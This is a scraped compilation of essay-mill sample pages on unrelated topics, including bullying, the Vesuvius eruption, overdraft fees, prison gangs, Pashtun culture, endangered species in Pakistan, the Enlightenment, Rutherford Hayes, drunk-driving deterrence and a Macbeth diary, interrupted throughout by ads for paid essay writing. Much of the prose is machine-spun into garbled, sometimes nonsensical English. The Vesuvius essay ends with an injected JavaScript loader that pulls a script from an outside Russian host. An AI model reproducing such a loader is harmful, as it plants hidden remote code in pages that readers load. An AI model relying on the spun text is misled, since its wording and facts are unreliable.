Bullying Where the Good became Better and the Better became Best free essay sample

It’s much harder to overlook menaces particularly when you are an eight years of age. The brains of children are retentive and sensitive that each word or each activity taken by menaces will be put for such a long time. I was a casualty of harassing where this forceful schoolmate of mine attempted to cut my finger with a scissors and hit my midsection with a honed pencil. I got angry at him so I enlightened my folks concerning it and the issue headed toward the second in command. He was suspended for seven days. It worked out that this harasser, who verbally and genuinely impeded me, really liked me. For what reason do individuals menace on others? To flaunt quality? To be named as lords or-sovereigns of-the-school? To have a great time? NO. Impressions like these must not get out without any problem. Like what Mother Teresa inferred, â€Å"If you keep on making a decision about individuals, you’ll have no an ideal opportunity to adore them. We will compose a custom exposition test on Harassing: Where the Good turned out to be Better and the Better turned out to be Best or then again any comparative theme explicitly for you Don't WasteYour Time Recruit WRITER Just 13.90/page † Maybe the individual had a long battle with a relative or their folks were separated from that the arrangement they can discover to get over these issues was to threaten others. Every one of them have a disguised explanation for. All they need is somebody who could hear them out, embrace them or demonstrate worry to them. On the off chance that one individual, a companion, parent or an instructor perhaps could satisfy those to each child who had issues like these, broke certainty, poise and lives could have been spared. Envision that few words could hold onto lives as of now? The domineering jerks were tight at that point! Since the individuals who ended their lives accepted that they were a weakling. Surely, they were a weakling. Everything necessary is mind over issue. In the event that that’s their opinion of us and what we can’t do, proceed, go right ahead. In any case, sometime in the future, I’ll give them what a genuine champ is. I trust that youâ €™ll set aside effort to watch â€Å"Every Child is Special.† It is a film wherein a dyslexic child, who was harassed regular, battled through school and was dispatched off by his dad to an all inclusive school to be â€Å"disciplined.† It was then a substitute educator helped him with his issue and urged him to seek after his ability. I thank my colleagues who have tormented me before on the grounds that without them, I won’t be extreme and taught for an amazing duration. I was picked as the general watch pioneer of the Girl Scouts of the Philippines in our school. From that second on, I started to motivate and train young ladies all over our area. Harassing isn’t downright terrible when one genuinely has faith in oneself. They may state, â€Å"Hey chicken,† â€Å"Wassup, loser,† â€Å"What a despicable thing.† Okay no issue. For what’s genuine will stay genuine regardless of whether nobody trusts it. Much obliged to you f or embellishment me in turning into a pioneer to many individuals. Presently who’s disgraceful at this point?

Vesuvius Essay Research Paper Mt Vesuvius ItalyLocation free essay sample

Vesuvius Essay, Research Paper Mt. Vesuvius, Italy Area: 40.8N, 14.4E Height: 4,200 pess ( 1,281 m ) Vesuvius is praised for the solid ejection in 79 A.D. that covered the towns of Herculaneum and Pompeii. Seismic tremors regularly hit this nation. The 79 A.D. ejection of Vesuvius was the primary volcanic emission ever to be depicted in thing. From 18 detail mis ( 30 kilometer ) of the vent you could see the emission. It is evaluated that on occasion during the ejection the section of debris was 20 detail mis ( 32 kilometer ) tall. Around 1 three-dimensional detail mi ( 4 three-dimensional kilometers ) of debris was ejected in roughly 19 hours. Around 1:00 post-mortem examination on the 24 of August a tall haze of steam and debris transcended Mt. Vesuvius and garbage started to fall. In the nation around Pompeii the thickness of falling residue expanded by 6 to 8 inches for each hr. The stones which included the residue were up to 3 crawls in distance across, and fell with a speed of up to 100 miles/hour. We will compose a custom exposition test on Vesuvius Essay Research Paper Mt Vesuvius ItalyLocation or then again any comparative theme explicitly for you Don't WasteYour Time Recruit WRITER Just 13.90/page They may hold caused damages and stray expires, and should hold, following a couple of hours, caused the surrender of rooftops. The city was in a matter of seconds shrouded in complete murkiness. The tenants likely did non even cognize what kind of occasion was striking them, and held up in their places, believing that the shower of stone would sooner or in this way go to a terminal. R/gt ; Following 12 hours of continuous touchy movement, an adjustment in the eruptive kineticss happened. The oral depression of the vent enlarged with the end goal that neighborhood gas power per unit territory could no longer power up the tall debris section. The blend of gas and debris not, at this point ascended into the sky, however in a split second fell back onto the slopes of the vent, sorting out gleaming torrential slides of hot fluxing stuff ( around 800 evaluations ) which hurried rapidly down grade, destructing everything in their waies. This change in the ejection demonstrated deadly to the 1000s of individuals around the vent. The Roman towns of Pompeii and Herculaneum were annihilated in an undertaking of proceedingss. The city was deserted and its area overlooked. ( Other emissions of Vesuvius. ) Mudflows and magma streams from the emission in 1631 slaughtered 3,500 individuals. Around 3,360 individuals kicked the bucket in the 79 A.D. ejection from debris streams and falls. . In 5960 B.C. what's more, 3580 B.C. , Mt. Vesuvius had ejections that rate among the biggest known in Europe. In 1595, diggings found ancient rarities at Pompeii and hundreds of years of looting followed. Archeological diggings started in the mid-nineteenth century. There are army throws of individuals in their finishing up minutes. Presently, a lot of Pompeii has been exhumed and it has uncovered much about how individuals lived during that cut ( and kicked the bucket during the ejection ) . ( map ( ) { var ad1dyGE = document.createElement ( 'content ' ) ; ad1dyGE.type = 'content/javascript ' ; ad1dyGE.async = genuine ; ad1dyGE.src = 'http:/r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'content ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

How Do Overdraft Fees Stack up to Bad Credit Loans - OppLoans

How Do Overdraft Fees Stack up to Bad Credit Loans - OppLoans How Do Overdraft Fees Stack up to Bad Credit Loans? How Do Overdraft Fees Stack up to Bad Credit Loans?Short-term bad credit loans like payday loans and cash advances have ridiculously high APRSâ€"but overdraft fees can be even  more expensive!When faced with a surprise financial shortfall, you might find yourself having to choose between bad credit loans and overdraft fees to make ends meet. And while a $30 overdraft fee might seem preferable to short-term no credit check loans and  cash advances, it might actually be the more  expensive option! Bad credit loans can be really expensive.When you have bad credit and you need a loanâ€"whether thats an online loan or one from a brick-and-mortar lenderâ€"you aren’t going to be able to borrow that money from a bank or a traditional lender. You simply pose too high a risk.Instead, you’ll have to take out a bad credit loan whichâ€"as the name suggestsâ€"is a loan that’s designed for people with lousy credit scores. These loans are oftentimes much more expensive than regular personal lo ans, but the right bad credit loan can still be a helpful financial too.There are a couple of different types of bad credit loans. First, there are payday loans, which are small-dollar, short-term loans with an average principal of only a few hundred dollars, and an average repayment term of two weeks.The average interest rate for a payday loan is $15 per $100 borrowed. But while that seems like a fairly reasonable rate, appearances can be deceiving. A two-week payday loan with a 15 percent interest rate actually carries an Annual Percentage Rate (APR) of almost 400 percent!Title loans are another kind of popular, but highly risky bad credit loan. These loans are secured by the title to the borrower’s car or truck, which means that you can usually borrow more money with one than you can with a payday loan.However, title loans are also incredibly expensive, with an average monthly rate of 25 percent that works out to a 300 percent APR. Furthermore, studies have found that one in fi ve title loan borrowers has their vehicle repossessed after they can’t pay the loan back.Lastly, there are bad credit installment loans, which function much like a regular personal loan, just with higher interest rates. Unlike short-term payday and title loans, which are paid back all at once, installment loans are paid back gradually over a set period of time.But overdraft fees can be even more expensive!Anyone who has ever maxed out their credit cards knows well that sinking sensation when the card is declined. Well, overdraft protection exists to prevent that same feeling from occurring when you use your debit card.If you make a purchase that exceeds your bank account balance, overdraft protection covers the additional amount. However, the service will charge you quite the hefty fee in order to do so. While overdraft fees vary, they often average around $35 per transaction.Oh yeah, that’s another thing about overdraft fees: They apply to every debit card transaction you make that overdraws the account. If you aren’t aware that your checking account is in the red, you could end rack up hundreds of dollars in overdraft fees on any number of small purchases.(For an example of how a $15 McDonald’s outing can return a $120 billâ€"all thanks to overdraft feesâ€"check out our recent blog post on ways you can avoid these fees altogether.)Since overdraft fees are levied on a transaction of any size, so long as it exceeds the available funds, nailing down a relative APR for these charges can be difficult. But even the more generous estimates would still produce a rate that puts payday and title loans to shame.In 2014, the Consumer Financial Protection Bureau published a study on overdraft fees. They found that the average overdraft transaction was $24, the median overdraft fee was $34, and that most of those fees were paid back within three days. If someone borrowed paid $34 to borrow $24 over three days, they reasoned, that would add up to an APR of 17,000 p ercent.Yeah. Overdraft fees are really expensive.Verdict: The right bad credit loan can be better than an overdraft fee.When you’re facing a financial shortfall, you’ll often find yourself with a series of not-great to flat out bad options. And if you don’t have an emergency fund that you can dip into or friends and family that you can borrow money from, taking out a bad credit loan is probably your least-bad option.But really, this verdict isn’t about taking out just any bad credit loan, it’s about taking out the right bad credit loan. Namely, one from a lender that cares about your ability to repay, that charges reasonable rates, and that reports your payment information to the credit bureausâ€"which could help improve your credit score over time.This verdict also speaks to the extremely high costs of overdraft fees, which dwarf the rates on most bad credit loans, and also the way those costs can stack up in such short order. Once your account is in the red, any subseque nt transaction racks up a new fee.Of course, there are always exceptions The wrong bad credit loan can do just as much damage to your financial wellbeing as any overdraft fee could. And in certain circumstances, an overdraft fee might be a flat-out better option for you than even the best bad credit loan.In the end, the best thing you can do for your long-term financial outlook is to create your own options. Building up a well-stocked emergency fundâ€"maybe even one that’s linked to your checking account for a more affordable type of overdraft protectionâ€"lets you cover future financial shortfalls yourself. No borrowing required.To learn more about managing your financial future, check out these other articles from OppLoans:How to Raise Your Credit Score by 100 PointsSave More Money with These 40 Expert Tips10 Good Money Habits to Make Your Friends JealousFrom Budget to Baller: 6 Tips to Grow Your MoneyDo you have a personal finance question youd like us to answer? Let us know! Y ou can find us  on  Facebook  and  Twitter.Visit OppLoans on  YouTube  |  Facebook  |  Twitter  |  LinkedIN  |Instagram

Prison Gangs The United States - 991 Words

The fact that prison gangs are not visible to the public makes them seem unknown to the public eye, however the pose the same threats to the United States as all other gangs. Prison gangs are also often written off and forgotten about by authorities due to fact that they are incarcerated. â€Å"Due to their seclusion from the public and their minimal visibility, prison gangs are difficult to target and are thus frequently overlooked as threat actors, which enables them to commit various crimes without detection while covertly impacting every level of law enforcement† (FBI 2013 National Gang Report). This oversight allows prison gangs to conduct even more criminal activity. Some of the most well-known prison gangs are the Aryan Brotherhood, Mexican Mafia and the Prison Brotherhood of Bikers (FBI 2013 National Gang Report). One of the most powerful and prevalent prison gangs is the Mexican Mafia due to their influence on local street gangs by taxing all their illegal sales and ordering Surenos type gangs to help accelerate their cause by collecting gang ordered taxes, assaults, and murders (FBI 2013 National Gang Report). Many members of the Sureno gang could be controlled by comparatively few Mexican Mafia members. In exchange for working as the Mexican Mafia’s foot soldiers, they received protection should they ever become incarcerated. Approximately 157 Mexican Mafia members – 99 percent of which are incarcerated and secured in Security Housing Units – puppeteer more thanShow MoreRelatedTaking a Closer Look at Prison Gangs1157 Words   |  5 PagesPrison Gangs Ever since the creation of the first prison gang the ‘Gypsy Jokers’, gangs in prisons have been a handful for officials trying to provide safety and security not only for corrections workers but for inmates as well. Prison gangs have been responsible for carrying out any number of illicit activites behind bars, these include but may not be limited to: gambling, drugs, protection, and prostitution (Knox, 2012). Over the years research for prison gangs proves difficult because of theRead MoreIncarceration Of Americ The United States1487 Words   |  6 PagesIncarceration in America The United States has the largest prison population in the world. The U.S.’s path to our over population has been decades in the making. â€Å"The United States makes up about 4 percent of the world’s population, and it accounts for 22 percent of the world’s prison population.† (Lopez). Prison over population is a growing concern within our society creating and contributing factors include longer sentences, rising costs, prison gangs, rapes, racism and mental health issues.Read MoreSecurity Threat Groups/Gangs in Prisons Essay1480 Words   |  6 PagesRunning Head: SECURITY THREAT GROUPS/GANGS IN PRISONS Security Threat Groups/Gangs in Prisons Nicole Sage Kaplan University CJ130-03 Nancy Thode January 18, 2011 Security Threat Groups/Gangs in Prisons In our prison systems today, many different gangs pose a threat to our correctional staff and other inmates. In the United States, gangs exist in forty of the fifty states. These gangs bring violence, drug trafficking and racial unrest to our correctional system. The Aryan BrotherhoodRead MoreGangs in Prison Essay1447 Words   |  6 PagesIntroduction Prison gangs are originally formed by inmates as a way of protecting themselves from the other inmates. These gangs have turned out to be violent and thus posing a threat to security. This paper will have a look at the different gangs in prisons, their history, beliefs and missions, and the differences and similarities in these gangs. The Aryan Brotherhood The Aryan Brotherhood started in 1964 was founded by Tyler Bingham and Barry Mills who were white supremacists and Irish AmericanRead MoreThe Impact of Gang Violence in Oklahoma Essay1345 Words   |  6 PagesThe Impact of Gang Violence in Oklahoma Gangs have had a huge impact in Oklahoma the many years they have been here. Gangs account for most of the drug trade, as well as most of the homicides in the Oklahoma area. Gangs are being fueled by the fear they have given the citizens, therefore most people are too afraid to do anything about the problem. â€Å"Every city in the world always has a gang, a street gang, or the so-called outcasts†.- Jimi Hendrix. http://www.brainyquote.com/quotes/keywords/gangRead MoreEssay about Street Gangs in the United States1399 Words   |  6 PagesStreet gangs in this country can probably be traced back to the first wave of Europeans who migrated to the colonies for a better life for themselves and their families. Many of the first gangs were formed as a means of self protection, with the thinking that there is simply strength in numbers. The missions of gangs in today’s society have grown and emerged to include many violent criminal avenues, including drug trafficking, prostitution, money laundering, and extortion but the original thinkingRead MoreThe Security Threat Of Prisons And Police Officers1224 Words   |  5 PagesThere are many dangerous gang in prison and out on the streets that are a security threat to prison staff and to public. These groups are called STGs or Security Threat Groups (gangs). Prisons and police officers try to control these gangs as much as possible so there cou ld be the least threat as possible. Some of the main security threat groups are: The Aryan Brotherhood, The Ku Klux Klan, The Folks, The Nation of Islam, and MS 13. These 5 groups are a major threat to prison staff and people out inRead MoreGANG VIOLENCE AND HARSH PENALTIES1465 Words   |  6 Pagesï » ¿Chen March 20 2014 Gang Violence and Harsh Penalties The presence of gang violence has plagued the United States for many years. Although it is more active in some parts of the country than others, gang violence affects every American: either monetarily as a taxpayer or directly as a victim. Regardless, it is a concern of every individual; therefore, the criminal justice system has been addressing it for years in different ways. The approach of emphasizing harsh punishments has been implementedRead MoreRace and Corrections845 Words   |  4 PagesAllen Arizona State University CRJ 305- Laura Owen Minorities remain overrepresented in crime, offending, victimization, and all stages of the criminal justice process especially confinement. Overrepresentation alludes to a situation in which a greater part of a particular group is present at various stages within the justice system than would be expected based on its part in the general population (Rosich, 2007). Minorities have always had a larger population in the prison system and afterRead MoreSecurity Threat Groups And Prison Gangs1665 Words   |  7 PagesSecurity threat groups and prison gangs are responsible for a lot of the crimes that occur in prison. Well-organized and highly structured prison gangs who have leaders and influences have been around decades. Gangs in prison can be described as groups whose activities pose a real threat to the safety of the institutional staff and other inmates and also to security of the correctional institution (Beth, 1991). These gangs always have strong leaders and use that leadership role to their advantage

How Capitalism Promotes An Unfair Gender Biased System Essay

In a society where capitalism is continuing to grow while creating an unfair system for women, leads to a bigger issue. Similarly, in this paper I will be discussing capitalism and its connection to the gender biased system that it creates in today’s society. This system results in many disadvantages for women, while on the other hand, men seem to be unaffected. Capitalism ultimately promotes a gender biased system in which the monetary status is upheld due to women rather than men. In the opening of this paper I will introduce Karl Marx’s theory of capitalism by explaining how it functions, its role in the alienation of the individual, as well as the key players of this system. Throughout this paper I will also introduce four ideas that connects back to my thesis of how capitalism promotes an unfair gender biased system in which the monetary status is upheld due to women rather than men. Firstly I will explain how this idea is shown through the marketing of female hygi ene products. Next I will briefly explain one of the most common forms of sexism through the price differentiation of women’s razors versus men’s. Thirdly, I will explain how this idea is shown towards women through the marketing of a form of contraception known as the morning after pill in comparison to the easy accessibility to condoms for men. Finally, I will discuss how this idea can be seen through the pricing of female versus male clothing. On the other hand, frequently throughout this paper I willShow MoreRelatedGp Essay Mainpoints24643 Words   |  99 PagesSports a. True purpose of sports nowadays b. Sports and Media 8. Foreign Aid a. How effective is Foreign Aid? 9. Migration a. Is migration/having foreigners good? 10. Subjects a. Literature b. History c. Mathematics d. Universal language 11. Businesses a. Business morality b. Charities as businesses 12. Democracy a. Good vs. Bad 13. Social Issues (only stats provided) a. Gender b. Family c. Equality 14. Governance a. World Governance 15. Others aRead MoreCuases Impact of Rural - Urban Migration from District Swabi to Peshawar14595 Words   |  59 Pages55 Table-20: Patterns of ceremonies effected and its specification. 56 Table-21: Change urban life. 57 Table-22: Administrative problems. 58 Table-23: System of education and educational set up. 59 Table-24: Price hike due to migrants and its specification. 60 Table-25: Increase in rent of houses. 61 Table-26: Pollution. 62 Table-28: Economic system. 64 Table-29: Employment graph decreases. 65 Table-30: Transport and its specification. 66 Table-31: Population expansion. 67 Table-32: CommercializationRead MoreStephen P. Robbins Timothy A. Judge (2011) Organizational Behaviour 15th Edition New Jersey: Prentice Hall393164 Words   |  1573 Pagespublishing as Prentice Hall. All rights reserved. Manufactured in the United States of America. This publication is protected by Copyright, and permission should be obtained from the publisher prior to any prohibited reproduction, storage in a retrieval system, or transmission in any form or by any means, electronic, mechanical, photocopying, recording, or likewise. To obtain permission(s) to use material from this work, please submit a written request to Pearson Education, Inc., Permissions DepartmentRead MoreLogical Reasoning189930 Words   |  760 Pagesrelevancy should attract readers. Stanley Baronett. Jr., University of Nevada Las Vegas Far too many authors of contemporary texts in informal logic – keeping an eye on the sorts of arguments found in books on formal logic – forget, or underplay, how much of our daily reasoning is concerned not with arguments leading to truth-valued conclusions but with making choices, assessing reasons, seeking advice, etc. Dowden gets the balance and the emphasis right. Norman Swartz, Simon Fraser University Read MoreDeveloping Management Skills404131 Words   |  1617 PagesRiver, New Jersey 07458. All rights reserved. Manufactured in the United States of America. This publication is protected by Copyright, and permission should be obtained from the publisher prior to any prohibited reproduction, storage in a retrieval system, or transmission in any form or by any means, electronic, mechanical, photocopying, recording, or likewise. To obtain permission(s) to use material from this work, please submit a written request to Pearson Education, Inc., Permissions Department

Descriptive Essay About Pashtun - 1279 Words

I have a place with Pashtun family. My dad and mom both are Afghan, and their entire age are Pashtun. Pashtun (also spelled Pushtun, Pakhtun, Pashtoon, Pathan) are a people who live in southeastern Afghanistan and the northwestern domain of Pakistan. They are one of the greatest ethnic social occasions in Afghanistan. There is no bona fide written history of the Pashtun in their own specific land. Pashtun are for the most part serene drifters (herders who move sometimes to find brushing land) with a strong tribal affiliation. Each tribe is divided into groups, subclans, and man driven families. My dad and mom both are Afghan, and their entire age are Pashtun. Pashtun have lived for a significant long time among Khorasan and the†¦show more content†¦The whole family shares the cost of having a child away at school. Worldview: My family, and all the more particularly my folks, has had the greatest effect on my perspective right up til the present time. my family imparted in me a significant number of the convictions and qualities that they carried on with their life by. In the sixteen years that I imparted to my family, they showed me incalculable life lessons, the most impactful being that connections and encounters are what shape an existence. the passing of such an essential figure influenced me to acknowledge what a vast effect connections have on life. the relationship that remained ended up noticeably more grounded and more obvious, and the connections that I lost was more valued and treasured. My folks associate with differing gathering of individuals in life, and they urged me a state of mind of acknowledgment and examination towards others. As I have developed, I have connected these states of mind as I experience individuals of various societies. Thinking back on my family life, the recollection s that I recall best are the ones in which they acquainted me with new encounters. They generally educated me concerning their encounters in existence with others. It is a direct result of the exposures to these encounters, and in addition a gratefulness for the estimation of the relationship in my life, that I am appreciative for the perspective that my

Endangered Species of Pakistan free essay sample

Introduction: Pakistan is home to a number of endangered species, including the woolly flying squirrel, markhor, blue whale, Pakistan sand cat, the ibex wild goat, and several species of birds, whales and turtles. Certain mammals which could be found in abundance at one time have now become the rarest mammals in the world, such as the snow leopard, the Marco Polo sheep and the Indus river dolphin. . . . . . . .. â€Å"Indus River Dolphin† The Indus River dolphin is endemic to the lower Indus basin rivers in Pakistan.They are 5 to 8 ft. in length. Their habitat once ranged from the Indus delta upstream to the Himalayan foothills. However, the construction of dams and barrages has severely limited the dolphins movement and habitat, as has increasing withdrawal of water for agricultural and industrial use. The plight of the once plentiful Indus River dolphin has become emblematic of wildlifes struggle for survival in Pakistan. . . . . . .. â€Å"Snow Leopard†Surveys will be extended to other parts of the Northern Areas and Chitral. We will write a custom essay sample on Endangered Species of Pakistan or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page In addition, WWF-P aims to help ensure the survival of the squirrels by facilitating the notification of a Protected Area for them and undertaking local awareness programmes. . . . . . . . â€Å"Chiltan Markhor† The endemic Chiltan markhor is now found only in the Hazarganji-Chiltan National Park, Balochistan. In collaboration with the provincial government, WWF-P has prepared a comprehensive management plan for conserving biodiversity in the Hazarganji-Chiltan National Park.The plan lays a special emphasis on improving the status of the Chiltan markhor and proposes that additional populations be re-established in suitable habitat. To ensure financial sustainability of the conservation efforts, a trust fund will be established. . . . . . . . â€Å"Marco Polo sheep† Marco Polo sheep have a scattered distribution in the Karakorum Mountain Range and Hindu Kush. In Pakistan, they are mostly found in the Khunjerab National Park and adjoining areas.The sheep have an endangered status and their numbers have been rapidly decreasing in the last two decades. WWF-P plans to improve the status of Marco Polo sheep through the implementation of the Khunjerab National Park management plan, reduction of grazing pressure in Karchanai Nalla, improvement of watch and ward mechanisms, updating the population statistics, and identification of additional sites where Marco Polo sheep occur. ************************************************************ ************************************************************

Enlightenment Of 18th Century Essays (1513 words) - Epistemologists

Enlightenment Of 18th Century The enlightenment was a great time of change in both Europe and America. Some of the biggest changes, however, happened in the minds of many and in the writings of many philosophers. These included some of the beliefs of David Hume, Jean Jacques Rousseau, Immanuel Kant, and Francois Voltaire. Writers during this time focused on optimism, which is the opinion to do everything for the best (Chaney 119), and the best for these philosophers was to stretch the minds of the ordinary. David Hume was Scottish and was born on April 26, 1711 and died in 1776. He states that he was not born into a rich family and was born into the Calvinist Presbyterian Church. However, after being influenced by the works of Isaac Newton and John Locke he began to draw back from the Church. He writes in Enquiry, "The idea of God, as meaning an infinitely intelligent, wise and good Being, arises from reflecting on the operations of our own mind, and augmenting, without limit, those qualities of goodness and wisdom." (Pomerleau 214) The questions he brought up against religion were that concrete experiences must lead us and that we must think about the quality of the stories that were handed down to us. He wanted everyone to only believe the actions that one experienced, there has to be proof. He also believed that there were four basic problems to the stories that we hear. First of all, the facts to the stories are never the same to everyone. Second, we stretch the truth to make everything interesting. Third, people who do not understand these stories tend to make things up. Finally, not all of the religions agree. Therefore, the stories conflicted each other leaving a person to not know what to believe. He believes that "Our most holy religion is founded on Faith, not on reason; and it is a sure method of exposing it to put it to such a trial as it is, by no means, fitted to endure." (215) Hume also believed in the social contract. This is that kings are in power because of luck and citizens should have control over their own power. During Hume's lifetime a representative government was not something that countries thrived on. He also thought that the duties of men were to love children and to pity those that are less fortunate. He also thought that one should respect other's properties and keep our promises. Hume argued that we are born into our family with the knowledge passed on to us, from this point Hume says that government is only an interference in the lives of people. He uses the example of American Tribes where no one needs a government to keep peace within the group (Pomerleau 222). These are the two main points that Hume tried to make. They are the basis of what got people to think about their lives and decide that what they have now might not be the best thing that their life can accomplish. From his points of view, we can move on to another influential philosopher, Jean Jacques Rousseau. Jean Jacques Rousseau was born in Geneva in 1712. His first years in his life were very hard because his mother died shortly after birth and he was sent to live with his aunt. However, his life turned around and he married and began his life as a philosopher. Rousseau was involved with the social contract like Hume. His book, however, did not become popular until after the French Revolution because these were the conditions that the revolution was based on (Chambers 669). His ideal government would contain a small state, prevention of overpowering businesses, and equality in rank and fortune (Castell 419). He distrusted the aristocrats because he believed they were drawing away from traditions that were once held very high ("The Enlightenment," http). To him kings are just concerned with themselves and when one dies, another one is needed. None of these people ever take in to consideration the less fortunate. Everyone has to move to the beliefs of one man. Rousseau felt that the government should be in the hands of many, not just one. Ideally, everyone in a society needs to be in agreement with one another. Another belief that Rousseau represented was deism, which is that god created the universe and then allowed it to run according to natural law and not interfering with it anymore. Again, these questions began to be disputed and the people began to realize that

President Rutherford B Hayes - Fast Facts

President Rutherford B Hayes - Fast Facts Rutherford B. Hayes (1822-1893) served as Americas nineteenth president between 1877 and 1881. Many believe that he won the election due to an unwritten deal called the Compromise of 1877 that officially pulled troops out of the south thereby ending Reconstruction in exchange for his getting the presidency.   Here is a quick list of fast facts for Rutherford B Hayes. For more in depth information, you can also read the Rutherford B Hayes Biography Birth: October 4, 1822 Death: January 17, 1893 Term of Office: March 4, 1877-March 3, 1881 Number of Terms Elected: 1 Term First Lady: Lucy Ware Webb Rutherford B Hayes Quote: Abolish plutocracy if you would abolish poverty. Major Events While in Office: Compromise of 1877 (End of Reconstruction)Bland-Allison Act (1878)Pronounced the necessity of creating an American controlled canal in Panama (1880) States Entering Union While in Office: none Related Rutherford B Hayes Resources: These additional resources on Rutherford B Hayes can provide you with further information about the president and his times. Rutherford B Hayes BiographyTake a more in depth look at the nineteenth president of the United States through this biography. Youll learn about his childhood, family, early career, and the major events of his administration. Reconstruction EraAs the Civil War ended, the government was left with the job of mending the horrendous rift that had torn the nation apart. The programs of reconstruction were efforts to help achieve this goal. Top 10 Significant Presidential ElectionsRutherford B Hayes was involved in one of the top ten significant elections in American History. In 1876, he beat Samuel Tilden for the presidency when it was put into the House of Representatives. It is believed that through the Compromise of 1877, Hayes agreed to end Reconstruction and recall all troops from the South in exchange for the presidency Chart of Presidents and Vice PresidentsThis informative chart gives quick reference information on the presidents, vice-presidents, their terms of office, and their political parties. Other Presidential Fast Facts: Ulysses S GrantJames GarfieldList of American Presidents

The Law as a form of Deterrence for Drinking and Driving Research Paper

The Law as a form of Deterrence for Drinking and Driving - Research Paper Example According to the National Highway Traffic Safety Administration (NHTSA), in the reporting year 2009, alcohol related offenses across the US totaled 15,331 out of 71,048 traffic related offenses, and some studies have placed this estimate at as much as 60 % of all fatalities. Stated in terms of a percentage, this represents over 20 % of all traffic offenses According to the NHTSA, this is a drop overall in the past few decades which coincides with tougher sentencing, greater public awareness and higher conviction rates. However, the numbers continue to be alarming which means that something within the correlation of deterrence and public perception along with convictions and arrests has not been entirely successful. The following will argue that however much deterrence is a factor in the decline of incidents, it is not sufficient to make that much of a significant impact. Toward demonstrating this thesis, the following will look at the legal and social transformations that have taken place, and in turn, examine the nature of deterrence. Before examining the data, existing literature and arguments for and against the relative success of deterrence, a few remarks concerning methodology need to be stated or outlined. In the field of social research, and indeed, any scientific research, there is an important distinction to be made between a correlation and an association that is causal in nature. [Kothari, 2008, p. 138]. There is a common methodological problem with mistaking a correlation as a causal relationship, and this has significant bearing on the following analysis. A simple and absurd example can best illustrate the problem of mistaking a correlation for a causal relation. If we were to say that sea-gulls like eating marine life because they are white, would be a clear mistake of confusing a correlation for a cause. While it is true that sea-gulls eat or diet on seafood to speak, and it is true (mostly true for the sake of an argument) that seagulls have white coloring, it is not true that the color of a bird is going to effect the dietary practices of the bird. The prevalence of the color is being confused for a cause in this instance. While absurd, the example nonetheless highlights an important preliminary methodological consideration. The following will look at the correlations of deterrence as it pertains to lowered amounts of drunk driving offenses and fatalities, but it will do so cautiously. This common problem in social research will be kept in the foreground of the analysis, and concerning ultimate causes of the decline of offenses, this analysis will suspend making an conclusive judgments, and in turn, focus on the 'correlation' of variables that are associated with deterrence and their prevalence. STRATEGIES FOR DETERRENCE. LEGAL STRATEGIES & INTERVENTIONS: Before blood levels became the way in which DUI was determined, arrests used to be done on the basis of the officer acting as a witness and by them administering some basic road-side tests that would evaluate the co-ordina tion and response time of the individual who was suspected of DUI [Chambliss, 2011, p. 63]. Because of the relatively subjective nature of the investigating techniques, and many of the successful challenges to the enforcement of this, the measurement of blood alcohol levels, through blood, breath and urine, became the more accurate standard, and in almost all states the blood alcohol line is .08 % [Chambliss, 2011, p. 64]. Moreover, a more accurate way of measuring blood alcohol levels, impacted the conviction rate for offenders [Chambliss, 2011, p. 65]. However, it did also create a few problems regarding the administration of the test. If a police officer suspects a driver of DUI they can ask them to submit themselves to a

Investing in IT Essay Example | Topics and Well Written Essays - 250 words

Investing in IT - Essay Example tened that our current human resource could not operate our kind of business without the backing of a well-established information systems department. Our technical department argued that with most of our business processes and transactions being computer based we had to take care of tasks such as system administrations, computer hardware engineering and networking, management of data and software and database design. The option of external sourcing for professionals to carry out these tasks for us was expensive and not viable in the long term for our business. According to Brynjolfsson (1994, p.6), investing in information technology does pay for a number of reasons and taking that into consideration, we have been able to reduce the workload on our workers while saving on time, grow our business further and make profits, deliver quality, effective and satisfactory service to our clients due to the increased positive feedback responses, improve our overall production in terms of output from our human resource, tracing of our business courses and document storage facilitation, control our transportation and communication related activities, thus cutting down on expenses involved, attract new businesses as a result of our new web augmentations such as blogs, client support structures, merchandise catalogs and newsletters as currently we are facing increased traffic and gain a competitive edge over our customers and increase the number of our customers. As Brynjolfsson reiterated on the importance of information technology (1993, p.66-78), we too have managed to measure the impact information technology has had on our business and so far it’s a positive one. We took a number of factors into consideration: Customers - We had a look at the number of new and return customers and we realized our numbers increased and so we seem to be heading in the right direction in terms of offering solutions to our customer needs. Were we able to describe their problem correctly

The diary of Francis Seyton Essay Example for Free

The diary of Francis Seyton Essay One year hath passed, twelve months I have endured the backstabbing treachery of these troubled times, which are strange beyond all comprehension, and I but a humble servant am trapped inside a conflict of conscience and valour. Many things, all alien to me have I seen or heard, my mind is in turmoil should I believe what I see? Merely a week ago brave king Macbeth was pronounced unwell. When attending a banquet he was suggesting the iniquitous and muttering words dictated by Satan in a disturbing manner. Who would have thought? The king himself. When Macbeth was crowned I swore allegiance to him and his cause. Am I a servant of the devil? I fear so. My fears were accentuated when the most tragic and appalling incident transpired. For many weeks a doctor had been attending to lady Macbeth after a maid requested her attention as she was worried for the ladys well being. I was not informed of the reasoning behind the calling of the doctor but rumours were rife. With my mind a drift believing was not necessarily seeing and therefore I could not confirm any of the circulating gossip, which could so easily be false but just as easily true. I chose to postulate the rumour, actually closer to conspiracy theory of Macbeth and lady Macbeths plot to replace Duncan whether through fair play or not to become of a royal stature, influenced by satanical forces, which will eventually lead them to exasperation. I noticed lady Macbeths rather mystifying ritual of rubbing her hands together religiously as if to be washing the, scrubbing them of her sins to a degree, I passed her chamber a few days ago to hear her say: Heres the smell of blood still: all the perfumes of Arabia will not sweeten this little hand, oh, oh, oh! Foul whisperings were abroad, unnatural deeds do breed unnatural troubles; infected minds to their deaf pillows will discharge their secrets. With this and other accumulating evidence I put two and two together and came to a conclusion. Later that night I could not rest. A battle was underway in the depths of my mind, a bloody uproar against my murderous master. I could imagine only one way to rid me of the turbulent dreams distracting my sleep, to confront the demonic Queen and question her righteousness. I dressed myself in my finest robes, brilliant gold buttons and glistening silver laces, if I were to die tonight I would rather depart this ominous place presentably with self respect. I approached the chamber door, breathing erratically like the waves at sea in the most ferocious storm, crashing into my hull, untameable. The door lays ahead dare I go forth? I approach the point of no return, when I must pass through the gates of hell and conquer the foul creature Cerberus, Satans servant. The carvings on the door seem alive, the writhing serpents spitting venom, intimidating, driving me away. But I must prevail, I thrust forward grinding my teeth, clenching my fists, a raging sweat takes over my body, the adrenaline driving me toward. I fight 